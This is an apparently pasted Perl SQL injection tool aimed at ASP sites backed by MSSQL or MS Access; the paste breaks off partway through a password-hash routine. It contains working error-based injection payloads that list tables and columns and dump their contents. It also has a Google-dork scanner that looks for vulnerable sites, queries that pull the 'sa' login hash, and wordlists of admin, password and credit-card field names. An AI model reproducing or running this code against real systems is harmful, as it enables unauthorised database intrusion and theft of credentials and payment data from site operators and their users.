API tools faq
paste
Advertisement
Guest User

Untitled

a guest
Jan 10th, 2016
424
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 40.82 KB | None | 0 0
raw download clone embed print report
  1. #!/usr/bin/perl -w
  2. #whereis perl
  3. # Silvia sql version 1.0
  4. # programmer: mywisdom the coder of solhack 2004
  5. # especially dedicated to Silvia a girl that I love
  6. # this tool is an sql injection tool for combination of asp and mssql; combination of asp and microsoft access database
  7. # special thanks to our brotha: all jasakomers(om S'to,pirus,cybermutaqqin, p1t4qh,aurel666, bungaputrilacinta, mohammad,abhe(meong),ketek,dimasdz,agusdoubleb,assasdotcom,cr4wl3r,k3nz0, kiddies, achyx,etc..) greetz brotha
  8. # special thanks to: darkc0de: baltazar,inkubus,kopele,rsauron,dehydra,trtxx,zerocode66
  9. # special thanks to hmsecurity.org crews and members (upxilon,kill_tech,y0y0,etc...)
  10. # and solhack (sons of liberty) crew 2004 (evidence@sdf.lonestar.org from croatia), getch@hol.gr the socket programmer from greece and foxx@feckov.org from holland
  11. # and special thank to smj@sdf.lonestar.org (stephen jones), phm@sdf (peter h meadow), blakkat@sdf, paladin@sdf, gblack (biadabz), bl4ck3ng1n3,djarum_super,dewancc,mister saint etc...
  12. # and h4cky0u & darkc0de crews
  13. # send and comments to mywisdom@jasakom.org
  14. # use this at your own risk, this program is for educational purpose
  15. # licensed under gnu general public license
  16. # [c] copyright 2008-2010 by jasakom.org all rights reserved
  17. # Caution !!! Author takes no responsibility of and damage(s) of target(s)
  18. # begin
  19.  
  20. #tempat data, variabel,array,dan public declare functions
  21. use IO::Socket;
  22. use Socket;
  23. use Net::hostent;
  24. use LWP::Simple;
  25. use LWP::UserAgent;
  26. use HTTP::Request;
  27. $ceker1="'";
  28. $ceker2='+and+1=convert(int,@@version)#';
  29. $ceker3="+and+1=convert(int,user_name())#";
  30. $ceker4="+and+1=convert(int,db_name())#";
  31. $ceker5="+and+1=convert(int,host_name())#";
  32. $denzuko="http://";
  33. $caritabel='+and+1=convert(int,(select+top+1+table_name+from+information_schema.tables))#';
  34. sub cleaner()
  35. {
  36.  
  37. $web_url=~ s/^\s+//;
  38. $ceker1=~ s/^\s+//;
  39. $ceker2=~ s/^\s+//;
  40. $ceker3=~ s/^\s+//;
  41. $ceker4=~ s/^\s+//;
  42.  
  43. }
  44.  
  45. @fuzz_tables=("sysobjects","customers","tbladmins", "sort", "_wfspro_admin", "4images_users", "a_admin", "account", "accounts", "adm", "admin", "admin_login", "admin_user", "admin_userinfo", "administer", "administrable", "administrate", "administration", "administrator", "administrators", "adminrights", "admins", "adminuser", "art", "article_admin", "articles", "artikel", "\xc3\x83\xc3\x9c\xc3\x82\xc3\xab", "aut", "author", "autore", "backend", "backend_users", "backenduser", "bbs", "book", "chat_config", "chat_messages", "chat_users", "client", "clients", "clubconfig", "company", "config", "contact", "contacts", "content", "control", "cpg_config", "cpg132_users", "customer", "customers", "customers_basket", "dbadmins", "dealer", "dealers", "diary", "download", "Dragon_users", "e107.e107_user", "e107_user", "forum.ibf_members", "fusion_user_groups", "fusion_users", "group", "groups", "ibf_admin_sessions", "ibf_conf_settings", "ibf_members", "ibf_members_converge", "ibf_sessions", "icq", "images", "index", "info", "ipb.ibf_members", "ipb_sessions", "joomla_users", "jos_blastchatc_users", "jos_comprofiler_members", "jos_contact_details", "jos_joomblog_users", "jos_messages_cfg", "jos_moschat_users", "jos_users", "knews_lostpass", "korisnici", "kpro_adminlogs", "kpro_user", "links", "login", "login_admin", "login_admins", "login_user", "login_users", "logins", "logon", "logs", "lost_pass", "lost_passwords", "lostpass", "lostpasswords", "m_admin", "main", "mambo_session", "mambo_users", "manage", "manager", "mb_users", "member", "memberlist", "members", "minibbtable_users", "mitglieder", "movie", "movies", "ourbb_users", "oursql", "oursql.user", "name", "names", "news", "news_lostpass", "newsletter", "nuke_authors", "nuke_bbconfig", "nuke_config", "nuke_popsettings", "nuke_users", "\xc3\x93\xc3\x83\xc2\xbb\xc2\xa7", "obb_profiles", "order", "orders", "parol", "partner", "partners", "passes", "password", "passwords", "perdorues", "perdoruesit", "phorum_session", "phorum_user", "phorum_users", "phpads_clients", "phpads_config", "phpbb_users", "phpBB2.forum_users", "phpBB2.phpbb_users", "phpouradmin.pma_table_info", "pma_table_info", "poll_user", "punbb_users", "pwd", "pwds", "reg_user", "reg_users", "registered", "reguser", "regusers", "session", "sessions", "settings", "shop.cards", "shop.orders", "site_login", "site_logins", "sitelogin", "sitelogins", "sites", "smallnuke_members", "smf_members", "SS_orders", "statistics", "superuser", "sysadmin", "sysadmins", "system", "sysuser", "sysusers", "table", "tables", "tb_admin", "tb_administrator", "tb_login", "tb_member", "tb_members", "tb_user", "tb_username", "tb_usernames", "tb_users", "tbl", "tbl_user", "tbl_users", "tbluser", "tbl_clients", "tbl_client", "tblclients", "tblclient", "test", "usebb_members", "user", "user_admin", "user_info", "user_list", "user_login", "user_logins", "user_names", "usercontrol", "userinfo", "userlist", "userlogins", "username", "usernames", "userrights", "users", "vb_user", "vbulletin_session", "vbulletin_user", "voodoo_members", "webadmin", "webadmins", "webmaster", "webmasters", "webuser", "webusers", "x_admin", "xar_roles", "xoops_bannerclient", "xoops_users", "yabb_settings", "yabbse_settings", "ACT_INFO", "ActiveDataFeed", "Category", "CategoryGroup", "ChicksPass", "ClickTrack", "Country", "CountryCodes1", "CustomNav", "DataFeedPerformance1", "DataFeedPerformance2", "DataFeedPerformance2_incoming", "DataFeedShowtag1", "DataFeedShowtag2", "DataFeedShowtag2_incoming", "dtproperties", "Event", "Event_backup", "Event_Category", "EventRedirect", "Events_new", "Genre", "JamPass", "MyTicketek", "MyTicketekArchive", "News", "Passwords by usage count", "PerfPassword", "PerfPasswordAllSelected", "Promotion", "ProxyDataFeedPerformance", "ProxyDataFeedShowtag", "ProxyPriceInfo", "Region", "SearchOptions", "Series", "Sheldonshows", "StateList", "States", "SubCategory", "Subjects", "Survey", "SurveyAnswer", "SurveyAnswerOpen", "SurveyQuestion", "SurveyRespondent", "sysconstraints", "syssegments", "tblRestrictedPasswords", "tblRestrictedShows", "Ticket System Acc Numbers", "TimeDiff", "Titles", "ToPacmail1", "ToPacmail2", "Total Members", "UserPreferences", "uvw_Category", "uvw_Pref", "uvw_Preferences", "Venue", "venues", "VenuesNew", "X_3945", "stone list", "tblArtistCategory", "tblArtists", "tblConfigs", "tblLayouts", "tblLogBookAuthor", "tblLogBookEntry", "tblLogBookImages", "tblLogBookImport", "tblLogBookUser", "tblMails", "tblNewCategory", "tblNews", "tblOrders", "tblStoneCategory", "tblStones", "tblUser", "tblWishList", "VIEW1", "viewLogBookEntry", "viewStoneArtist", "vwListAllAvailable", "CC_info", "CC_username", "cms_user", "cms_users", "cms_admin", "cms_admins", "user_name", "jos_user", "table_user", "email", "mail", "bulletin", "cc_info", "login_name", "admuserinfo", "userlistuser_list", "SiteLogin", "Site_Login", "UserAdmin", "Admins", "Login", "Logins", "administrasi", "administrador", "adm", "yonetici");
  46.  
  47. @fuzz_columns=("user", "username", "password", "passwd", "pass", "cc_number", "id", "email", "emri", "fjalekalimi", "pwd", "user_name", "customers_email_address", "customers_password", "user_password", "name", "user_pass", "admin_user", "admin_password", "admin_pass", "usern", "user_n", "users", "login", "logins", "login_user", "login_admin", "login_username", "user_username", "user_login", "auid", "apwd", "adminid", "admin_id", "adminuser", "adminuserid", "admin_userid", "adminusername", "admin_username", "adminname", "admin_name", "usr", "usr_n", "usrname", "usr_name", "usrpass", "usr_pass", "usrnam", "nc", "uid", "userid", "user_id", "ourusername", "mail", "emni", "logohu", "punonjes", "kpro_user", "wp_users", "emniplote", "perdoruesi", "perdorimi", "punetoret", "logini", "llogaria", "fjalekalimin", "kodi", "emer", "ime", "korisnik", "korisnici", "user1", "administrator", "administrator_name", "mem_login", "login_password", "login_pass", "login_passwd", "login_pwd", "sifra", "lozinka", "psw", "pass1word", "pass_word", "passw", "pass_w", "user_passwd", "userpass", "userpassword", "userpwd", "user_pwd", "useradmin", "user_admin", "ourpassword", "passwrd", "admin_pwd", "admin_passwd", "mem_password", "memlogin", "e_mail", "usrn", "u_name", "uname", "mempassword", "mem_pass", "mem_passwd", "mem_pwd", "p_word", "pword", "p_assword", "ourname", "our_username", "our_name", "our_password", "our_email", "cvvnumber", "about", "access", "accnt", "accnts", "account", "accounts", "admin", "adminemail", "adminlogin", "adminmail", "admins", "aid", "aim", "auth", "authenticate", "authentication", "blog", "cc_expires", "cc_owner", "cc_type", "cfg", "cid", "clientname", "clientpassword", "clientusername", "conf", "config", "contact", "converge_pass_hash", "converge_pass_salt", "crack", "customer", "customers", "cvvnumber]", "data", "db_database_name", "db_hostname", "db_password", "db_username", "download", "e-mail", "emailaddress", "full", "gid", "group", "group_name", "hash", "hashsalt", "homepage", "icq", "icq_number", "id_group", "id_member", "images", "index", "ip_address", "last_ip", "last_login", "lastname", "log", "login_name", "login_pw", "loginkey", "loginout", "logo", "md5hash", "member", "member_id", "member_login_key", "member_name", "memberid", "membername", "members", "new", "news", "nick", "number", "nummer", "pass_hash", "passwordsalt", "passwort", "personal_key", "phone", "privacy", "pw", "pwrd", "salt", "search", "secretanswer", "secretquestion", "serial", "session_member_id", "session_member_login_key", "sesskey", "setting", "sid", "spacer", "status", "store", "store1", "store2", "store3", "store4", "table_prefix", "temp_pass", "temp_password", "temppass", "temppasword", "text", "un", "user_email", "user_icq", "user_ip", "user_level", "user_passw", "user_pw", "user_pword", "user_pwrd", "user_un", "user_uname", "user_usernm", "user_usernun", "user_usrnm", "userip", "userlogin", "usernm", "userpw", "usr2", "usrnm", "usrs", "warez", "xar_name", "xar_pass", "lozinka", "heslo", "adgangskode", "wachtwoord", "contrasena", "adm", "administrador", "yonetici");
  48.  
  49. sub halo()
  50. {
  51. print "\n**********************Silvia SQL version 1.0***************************\n";
  52. print "\n Programmer:mywisdom (mywisdom[at]jasakom.org) \n";
  53. print "\n SQLI Tool for MSSQL & MS Jet \n";
  54. print "\n Especially dedicated for Silvia \n";
  55. print "\n**********************Silvia SQL version 1.0***************************\n";
  56. print "Option numbers / Steps:\n";
  57. print "0. Search for sqli vulnerable site(s) from google based on a region(MSSQL and MS Jet only) \n";
  58. print "1. Check url for vulnerable sql injection (MSSQL and MS Jet) \n";
  59. print "2. Getting MSSQL Configuration (MSSQL only)\n";
  60. print "3. Search for Table Name(s) in current Database (MSSQL only) \n";
  61. print "4. Search for Column Name(s) in a table (MSSQL only)\n";
  62. print "5. Dump a column (MSSQL only)\n";
  63. print "6. Automatic Step by Step (Run Step 1 until step 4 automaticly (MSSQL only))\n";
  64. print "7. List a User and password hash (MSSQL only)\n";
  65. print "8. Try EXEC xp_cmdshell(MSSQL 2000 only)\n";
  66. print "9. Searh Column length then try Fuzzing Table(s) and column(s)(MS Jet only)\n";
  67. print "Type help for Help, type exit to stop this tool\n";
  68. print "(just type: 1 or 2 or 3 or 4 or 5 or 6 or 7 or 8 or 9)\n";
  69. print "Type your option number:";
  70. chomp( our $nomer = <STDIN> );
  71. $logs= "\n**********************Silvia SQL version 1.0***************************\n";
  72. $logs.= "\n Programmer:mywisdom (mywisdom[at]jasakom.org) \n";
  73. $logs.= "\n SQLI Tool for MSSQL & MS Jet \n";
  74. $logs.= "\n Especially dedicated for Silvia \n";
  75. $logs.= "\n**********************Silvia SQL version 1.0***************************\n";
  76. $logs.= "Option numbers / Steps:\n";
  77. $logs.= "0. Search for sqli vulnerable site(s) from google based on a region (MSSQL and MS Jet only) \n";
  78. $logs.= "1. Check url for vulnerable sql injection (MSSQL and MS Jet) \n";
  79. $logs.= "2. Getting MSSQL Configuration (MSSQL only)\n";
  80. $logs.= "3. Search for Table Name(s) in current Database (MSSQL only) \n";
  81. $logs.= "4. Search for Column Name(s) in a table (MSSQL only)\n";
  82. $logs.= "5. Dump a column (MSSQL only)\n";
  83. $logs.= "6. Automatic Step by Step (Run Step 1 until step 4 automaticly (MSSQL only))\n";
  84. $logs.= "7. List Users and password hashes,local dict attack(MSSQL only)\n";
  85. $logs.= "8. Try EXEC xp_cmdshell (MSSQL 2000 only)\n";
  86. $logs.= "9. Find Column length then try Fuzzing Table(s) and column(s)(MS Jet only)\n";
  87. $logs.= "Type help for Help, type exit to stop this tool\n";
  88. $logs.= "(just type: 1 or 2 or 3 or 4 or 5 or 6 or 7 or 8 or 9)\n";
  89. $logs.= "Type your option number:";
  90. $logs.=$nomer;
  91. tulis();
  92. }
  93. sub asu()
  94. {
  95. print "\n_________________________________________________________________\n";
  96. print "Completed running your operation, result saved at silvialog.txt\n";
  97. print "(If no result(s) showed here means there's no data or data can not be dump or your proxy doesnt work, you should check manually or use other working proxy)\n";
  98. $logs= "\n_________________________________________________________________\n";
  99. $logs.="Completed running your operation, result saved at silvialog.txt\n";
  100. $logs.="(If no result(s) showed here means there's no data or data can not be dump or your proxy doesnt work, you should check manually or use other working proxy)\n";
  101. tulis();
  102.  
  103. }
  104. sub operasi()
  105. {
  106.  
  107.  
  108. if($nomer=~"0")
  109. {
  110. modul0();
  111. asu();
  112. }
  113.  
  114.  
  115. if($nomer=~"1")
  116. {
  117. modul1();
  118. asu();
  119.  
  120. }
  121. elsif($nomer=~"2")
  122. {
  123. modul2();
  124. asu();
  125.  
  126. }
  127. elsif($nomer=~"3")
  128. {
  129. modul3();
  130. asu();
  131.  
  132. }
  133. elsif($nomer=~"4")
  134. {
  135. modul4();
  136. asu();
  137.  
  138.  
  139. }
  140. elsif($nomer=~"5")
  141. {
  142. modul5();
  143. asu();
  144.  
  145. }
  146. elsif($nomer=~"6")
  147. {
  148. modul6();
  149. asu();
  150.  
  151. }
  152. elsif($nomer=~"7")
  153. {
  154. modul7();
  155. asu();
  156.  
  157. }
  158. elsif($nomer=~"8")
  159. {
  160. modul8();
  161. asu();
  162.  
  163. }
  164. elsif($nomer=~"9")
  165. {
  166. modul9();
  167. asu();
  168.  
  169. }
  170.  
  171. elsif($nomer=~"help")
  172. {
  173. modul10();
  174. asu();
  175.  
  176. }
  177. elsif($nomer=~"menu")
  178. {
  179. utama();
  180. }
  181.  
  182. else
  183. {
  184. die "\nSilvia SQLi Tool stopped, You can check your operations at silvialog.txt\n";
  185. }
  186.  
  187.  
  188. }
  189.  
  190.  
  191. sub tulis()
  192. {
  193. open FILE, ">>silvialog.txt" or die $!;
  194. print FILE $logs;
  195. close FILE;
  196. }
  197.  
  198. sub getinfo()
  199. {
  200. print "\n[-] Gathering MSSQL configuration...please wait...\n";
  201. $logs="\n[-] Gathering MSSQL configuration...please wait...\n";
  202. tulis();
  203. $verse="2005";
  204. #versi&os
  205. cleaner();
  206. $old=$web_url;
  207. $web_url=$web_url.$ceker2;
  208. print "[-]SQLI url:$web_url\n";
  209. $logs="[-]SQLI url:$web_url\n";
  210. tulis();
  211. modus();
  212. print "\n[+]Version Info:";
  213. $logs="\n[+]Version Info:";
  214. tulis();
  215. teknik_parse();
  216. $verse=$nilai;
  217. $web_url=$old;
  218.  
  219.  
  220. #current user
  221. cleaner();
  222. $old=$web_url;
  223. $web_url=$web_url.$ceker3;
  224. modus();
  225. print "\n[+]Current User:";
  226. $logs="\n[+]Current User:";
  227. tulis();
  228. teknik_parse();
  229. $web_url=$old;
  230.  
  231.  
  232. #current db
  233. cleaner();
  234. $old=$web_url;
  235. $web_url=$web_url.$ceker4;
  236. modus();
  237. print "\n[+]Current Database:";
  238. $logs="\n[+]Current Database:";
  239. tulis();
  240. teknik_parse();
  241. $web_url=$old;
  242.  
  243. #hostname
  244. cleaner();
  245. $old=$web_url;
  246. $web_url=$web_url.$ceker5;
  247. modus();
  248. print "\n[+]Hostname:";
  249. $logs="\n[+]Hostname:";
  250. tulis();
  251. teknik_parse();
  252. $web_url=$old;
  253.  
  254.  
  255. }
  256.  
  257. sub rearrange_this_web()
  258. {
  259. if($web_url=~/http:/)
  260. {
  261. }
  262. else
  263. {
  264. $web_url=$denzuko.$web_url;
  265. }
  266.  
  267. }
  268. sub rearrange_this_proxy()
  269. {
  270. if($proxy_url=~/http:/)
  271. {
  272. }
  273. else
  274. {
  275. $proxy_url=$denzuko.$proxy_url;
  276. }
  277.  
  278. }
  279.  
  280. sub dump_kolom()
  281. {
  282. print "\nType a column name to dump:";
  283. $logs="\nType a column name to dump:";
  284. tulis();
  285. chomp( our $kolom = <STDIN> );
  286. $logs=$kolom;
  287. tulis();
  288. print "\n[-]Please wait...dumping column content\n";
  289. print "\n[+]Content of column $kolom inside table $tabel:\n";
  290. $logs="\n[-]Please wait...dumping column content\n";
  291. tulis();
  292. $logs="\n[+]Content of column $kolom inside table $tabel:\n";
  293. tulis();
  294. $i_love_you_Silvia="+and+1=convert(int,(select+top+1+$kolom+from+$tabel";
  295. $silvia="))--";
  296. $old=$web_url;
  297. $web_url=$web_url.$i_love_you_Silvia.$silvia;
  298. modus();
  299. teknik_parse();
  300. $web_url=$old;
  301. @isi_kolom = ($nilai);
  302. $tambahanx="+and+1=convert(int,(select+top+1+$kolom+from+$tabel+where+$kolom+not+in+(";
  303. $eva=")))--";
  304. while($content =~m/Conversion failed when converting/)
  305. {
  306. $old=$web_url;
  307. foreach (@isi_kolom)
  308. {
  309. $data.="'".$_."',";
  310. }
  311. $data=substr($data, 0, -1);
  312. $web_url=$web_url.$tambahanx.$data.$eva;
  313. modus();
  314. teknik_parse();
  315. unshift(@isi_kolom,$nilai);
  316. $web_url=$old;
  317. }
  318.  
  319. }
  320.  
  321. sub cari_kolom()
  322. {
  323. $kolsql="+and+1=convert(int,(select+top+1+column_name+from+information_schema.columns+where+table_name='$tabel'";
  324. $mywisdom_loves_silvia="))--";
  325. $old=$web_url;
  326. $web_url=$web_url.$kolsql.$mywisdom_loves_silvia;
  327. modus();
  328. print "\n[+]Column(s) inside table $tabel:\n";
  329. $logs="\n[+]Column(s) inside table $tabel:\n";
  330. tulis();
  331. teknik_parse();
  332.  
  333.  
  334. $web_url=$old;
  335.  
  336. @nama_kolom = ($nilai);
  337. $tambahanx="+and+1=convert(int,(select+top+1+column_name+from+information_schema.columns+where+table_name='$tabel'+and+column_name+not+in+(";
  338. $eva=")))--";
  339. while($content =~m/Conversion failed when converting/)
  340. {
  341. $old=$web_url;
  342. foreach (@nama_kolom)
  343. {
  344. $data.="'".$_."',";
  345. }
  346. $data=substr($data, 0, -1);
  347. $web_url=$web_url.$tambahanx.$data.$eva;
  348. modus();
  349. teknik_parse();
  350.  
  351. push(@nama_kolom,$nilai);
  352. $web_url=$old;
  353. }
  354.  
  355.  
  356.  
  357. }
  358. sub tanya_tabel()
  359. {
  360. if($carikolom=~"yes")
  361. {
  362. print "\nType table name to search for column(s):";
  363. chomp( our $tabel = <STDIN> );
  364. $logs="\nType table name to search for column(s) name:$tabel";
  365. tulis();
  366. }
  367. else
  368. {
  369. print "\nType table name to dump:";
  370. chomp( our $tabel = <STDIN> );
  371. $logs="\nType table name to dump:";
  372. tulis();
  373. }
  374. }
  375. sub teknik_parse()
  376. {
  377.  
  378. $content=~ s/^\s+//;
  379. @parsed = split(/'/, $content);
  380. @asshole=("tmp");
  381. $able="no";
  382. $nextval="no";
  383. foreach our $val (@parsed)
  384. {
  385.  
  386.  
  387. if($nextval =~ "yes")
  388. {
  389. our $nilai=$val;
  390. $nilai=~ s/^\s+//;
  391.  
  392.  
  393. if(grep $_ eq $nilai,@asshole)
  394. {
  395.  
  396. }
  397. else
  398. {
  399. print "$nilai\n";
  400. $able=$nilai;
  401. $logs=$nilai."\n";
  402. tulis();
  403. push(@asshole,$nilai);
  404. }
  405. }
  406.  
  407. if ($val =~ /Conversion failed when converting/ || $val =~ /error converting the nvarchar value /)
  408. {
  409. $nextval="yes";
  410.  
  411. }
  412. else
  413. {
  414. $nextval="no";
  415.  
  416. }
  417.  
  418. }
  419.  
  420.  
  421. }
  422.  
  423. sub modul0()
  424. {
  425. #this google search section was ripped and modified from inkubus@darkc0de script and cwh underground script
  426. print "\nThis tool will use google.com as default, you may choose other google based on country ";
  427.  
  428. print "\nDo you want to google search based on country ? (y/n)";
  429. chomp( our $opsi = <STDIN> );
  430. if($opsi=~"yes" || $opsi=~"y" || $opsi=~"Y")
  431. {
  432. print "\nAvailable google url based on country, please choose:";
  433. print "\n1. www.google.com";
  434. print "\n2. www.google.co.uk (google uk)";
  435. print "\n3. www.google.co.id (google indonesia)";
  436. print "\n4. www.google.co.il (google israel)";
  437. print "\n5. www.google.co.in (google india)";
  438. print "\n6. www.google.co.jp (google japan)";
  439. print "\n7. www.google.cn (google china)";
  440. print "\n8. www.google.com.sg (google singapore)";
  441. print "\n9. www.google.com.my (google malaysia)";
  442. print "\n10. www.google.com.tr (google turkey)";
  443. print "\n11. www.google.com.pk (google pakistan)";
  444. print "\n12. www.google.co.il (google israel)";
  445. print "\n13. www.google.es (google spain)";
  446. print "\n14. www.google.com.au (google australia)";
  447. print "\n(just type the number :1 or 2 or 3 till 14)";
  448. print "\nType option number:";
  449. chomp( our $num = <STDIN> );
  450.  
  451. $logs="\nAvailable google url based on country, please choose:";
  452. $logs.= "\n1. www.google.com";
  453. $logs.= "\n2. www.google.co.uk (google uk)";
  454. $logs.= "\n3. www.google.co.id (google indonesia)";
  455. $logs.= "\n4. www.google.co.il (google israel)";
  456. $logs.= "\n5. www.google.co.in (google india)";
  457. $logs.= "\n6. www.google.co.jp (google japan)";
  458. $logs.= "\n7. www.google.cn (google china)";
  459. $logs.= "\n8. www.google.com.sg (google singapore)";
  460. $logs.= "\n9. www.google.com.my (google malaysia)";
  461. $logs.= "\n10. www.google.com.tr (google turkey)";
  462. $logs.= "\n11. www.google.com.pk (google pakistan)";
  463. $logs.= "\n12. www.google.co.il (google israel)";
  464. $logs.= "\n13. www.google.es (google spain)";
  465. $logs.= "\n14. www.google.com.au (google australia)";
  466. $logs.= "\n(just type the number :1 or 2 or 3 till 14)";
  467. $logs.= "\nType option number:";
  468. $logs.=$num;
  469. tulis();
  470.  
  471.  
  472. if($num =~ "1")
  473. {
  474. $country="http://www.google.com";
  475. $hl="en";
  476. $cr="";
  477. }
  478. elsif($num=~"2")
  479. {
  480. $country="http://www.google.co.uk";
  481. $hl="en";
  482. $cr="cr=countryUK|countryGB";
  483.  
  484. }
  485. elsif($num=~"3")
  486. {
  487. $country="http://www.google.co.id";
  488. $hl="id";
  489. $cr="cr=countryID";
  490.  
  491.  
  492. }
  493. elsif($num=~"4")
  494. {
  495. $country="http://www.google.co.il";
  496. $hl="ar";
  497. $cr="cr=countryIL";
  498.  
  499.  
  500.  
  501. }
  502. elsif($num=~"5")
  503. {
  504. $country="http://www.google.co.in";
  505. $hl="hi";
  506. $cr="cr=countryIN";
  507.  
  508.  
  509.  
  510. }
  511.  
  512. elsif($num=~"6")
  513. {
  514. $country="http://www.google.jp";
  515. $hl="ja";
  516. $cr="cr=countryJP";
  517. }
  518. elsif($num=~"7")
  519. {
  520. $country="http://www.google.cn";
  521. $hl="zh-CN";
  522. $cr="cr=countryCN";
  523.  
  524.  
  525.  
  526. }
  527. elsif($num=~"8")
  528. {
  529. $country="http://www.google.com.sg";
  530. $hl="en";
  531. $cr="cr=countrySG";
  532.  
  533.  
  534.  
  535. }
  536. elsif($num=~"9")
  537. {
  538. $country="http://www.google.com.my";
  539. $hl="en";
  540. $cr="cr=countryMY";
  541.  
  542.  
  543.  
  544. }
  545. elsif($num=~"10")
  546. {
  547. $country="http://www.google.com.tr";
  548. $hl="tr";
  549. $cr="cr=countryTR";
  550. }
  551. elsif($num=~"11")
  552. {
  553. $country="http://www.google.com.pk";
  554. $hl="en";
  555. $cr="cr=countryPK";
  556. }
  557. elsif($num=~"12")
  558. {
  559. $country="http://www.google.co.il";
  560. $hl="iw";
  561. $cr="cr=countryIL";
  562. }
  563. elsif($num=~"14")
  564. {
  565. $country="http://www.google.com.au";
  566. $hl="en";
  567. $cr="cr=countryAU";
  568. }
  569.  
  570. elsif($num=~"13")
  571. {
  572. $country="http://www.google.es";
  573. $hl="es";
  574. $cr="cr=countryES";
  575. }
  576.  
  577. }
  578.  
  579.  
  580. print "\nInsert Google Dork:";
  581. chomp( our $keyword = <STDIN> );
  582. $logs="google dork:$keyword";
  583. tulis();
  584. print "Total Query Pages (10 Links/Pages) :";
  585. chomp( our $page = <STDIN> );
  586.  
  587. print "\n[+] Please wait ! Searching vulnerable mssql and ms jet injection target(s) from google ...\n";
  588. print "\n-----------------------------------------------\n";
  589. $logs="\n[+] Please wait ! Searching vulnerable mssql and ms jet injection target(s) from google ...\n";
  590. tulis();
  591. $logs="\n------------------------------------------------\n";
  592. tulis();
  593.  
  594.  
  595. for($start = 0;$start != $page*10;$start += 10)
  596. {
  597. if($opsi=~"yes" || $opsi=~"y" || $opsi=~"Y")
  598. {
  599. $google_url="$country/search?hl=$hl&q=".$keyword."&btnG=Search&start=".$start."&meta=".$cr;
  600. }
  601. else
  602. {
  603. $google_url="http://www.google.com/search?hl=en&q=".$keyword."&btnG=Search&start=".$start;
  604.  
  605. }
  606. print "\n--------Going to Next Page ----------------\n";
  607. print "\nYour google url:$google_url\n";
  608. print "\n--------Searching from next page,please wait----------------\n";
  609. $logs= "\n--------Going to Next Page ----------------\n";
  610. $logs.= "\nYour google url:$google_url\n";
  611. $logs.= "\n--------Searching from next page,please wait----------------\n";
  612. tulis();
  613. $ua = LWP::UserAgent->new(agent => 'Mozilla 5.2');
  614. $ua->timeout(10);
  615. $ua->env_proxy;
  616. $response = $ua->get($google_url);
  617. if ($response->is_success)
  618. {
  619. $c = $response->content;
  620. @stuff = split(/<a href=/,$c);
  621. foreach $line(@stuff)
  622. {
  623. if($line =~/(.*) class=l/ig)
  624. {
  625. $out = $1;
  626. $out =~ s/\"//g;
  627. $out =~s/$/\'/;
  628. $ua = LWP::UserAgent->new(agent => 'Mozilla 5.2');
  629. $ua->timeout(10);
  630. $ua->env_proxy;
  631. $response = $ua->get($out);
  632. $error = $response->content();
  633. if($error =~m/Microsoft JET Database/ || $error =~m/ODBC Microsoft Access Driver/)
  634. {
  635. print "\n[+]$out => Could be Vulnerable in MS Access Injection!!\n";
  636. $logs="\n[+]$out => Could be Vulnerable in MS Access Injection!!\n";
  637. tulis();
  638. }
  639. elsif($error =~m/Microsoft OLE DB Provider for SQL Server/ || $error =~m/Unclosed quotation mark/)
  640. {
  641. print "\n[+]$out => Could be Vulnerable in MSSQL Injection!!\n";
  642. $logs="\n[+]$out => Could be Vulnerable in MSSQL Injection!!\n";
  643. tulis();
  644. }
  645. }
  646. }
  647. }
  648. }
  649.  
  650. # eof ripped section
  651.  
  652. }
  653.  
  654.  
  655.  
  656. sub modul1()
  657. {
  658. askproxsi();
  659. }
  660.  
  661.  
  662. sub modul2()
  663. {
  664. ulangproxsi();
  665. getinfo();
  666.  
  667. }
  668. sub modul3()
  669. {
  670. ulangproxsi();
  671. getinfo();
  672. print "\n---Searching Table(s) inside Database,please wait---\n";
  673. $logs="\n-----------Searching Table(s) inside Database,please wait-----------------\n";
  674. tulis();
  675. cari_table();
  676. }
  677.  
  678.  
  679. sub cari_table()
  680. {
  681. our $old=our $web_url;
  682. our $tes=$web_url.$caritabel;
  683. $web_url=$tes;
  684. modus();
  685. print "\n[+]Table(s) in current database:\n";
  686. $logs="\n[+]Table(s) in current database:\n";
  687. tulis();
  688. teknik_parse();
  689. $web_url=$old;
  690. @nama_table = ($nilai);
  691. $tambahan="+and+1=convert(int,(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+(";
  692. $eva=")))--";
  693. while($content =~m/Conversion failed when converting/)
  694. {
  695. $old=$web_url;
  696. foreach (@nama_table)
  697. {
  698. $data.="'".$_."',";
  699. }
  700. $data=substr($data, 0, -1);
  701. $web_url=$web_url.$tambahan.$data.$eva;
  702. modus();
  703. teknik_parse();
  704.  
  705. push(@nama_table,$nilai);
  706.  
  707. $web_url=$old;
  708. }
  709.  
  710.  
  711. }
  712. sub modul4()
  713. {
  714. ulangproxsi();
  715. $carikolom="yes";
  716. tanya_tabel();
  717. cari_kolom();
  718. }
  719.  
  720.  
  721. sub modul5()
  722. {
  723. ulangproxsi();
  724. $carikolom="no";
  725. tanya_tabel();
  726. dump_kolom();
  727. }
  728. sub modul6()
  729. {
  730. ulangproxsi();
  731. modul2();
  732. modul3();
  733. modul4();
  734. }
  735. sub modul7()
  736. {
  737. ulangproxsi();
  738. getinfo();
  739. if ($verse =~ /2005/)
  740. {
  741. print "\n[-] Checking whether we can get password hash on this mssql 2005 or not, please wait...if can,u may see encypted sa password:\n";
  742. $logs="\n[-] Checking whether we can get password hash on this mssql 2005 or not, please wait...if can,u may see encypted sa password:\n";
  743. tulis();
  744. $old=$web_url;
  745. $tambah="+and+1=convert(int,(select+top+1+master.sys.fn_varbintohexstr(password_hash)+from+master.sys.sql_logins+where+name='sa'))--";
  746. $web_url=$web_url.$tambah;
  747. modus();
  748. teknik_parse();
  749. $web_url=$old;
  750.  
  751. if($nilai =~ /no/)
  752. {
  753. print "\nSorry we can not view password hash...you should check it manually\n";
  754. $logs="\nSorry we can not view password hash...you should check it manually\n";
  755. tulis();
  756. }
  757. else
  758. {
  759. print "\nW00t!!! You have seen encrypted password for user sa !!! \n";
  760. $logs="\nW00t!!! You have seen encrypted password for user sa !!! \n";
  761. tulis();
  762. }
  763.  
  764.  
  765. }
  766. else
  767. {
  768. print "\n[-] Checking whether we can get password hash on this mssql 2000 or not, please wait...if can,u may see encrypted sa password:\n";
  769. $logs= "\n[-] Checking whether we can get password hash on this mssql 2000 or not, please wait...if can,u may see encrypted sa password:\n";
  770. tulis();
  771. $old=$web_url;
  772. $tambah="+and+1=convert(int,(select+top+1+master.dbo.fn_varbintohexstr(password)+from+master..sysxlogins+where+name='sa'))--";
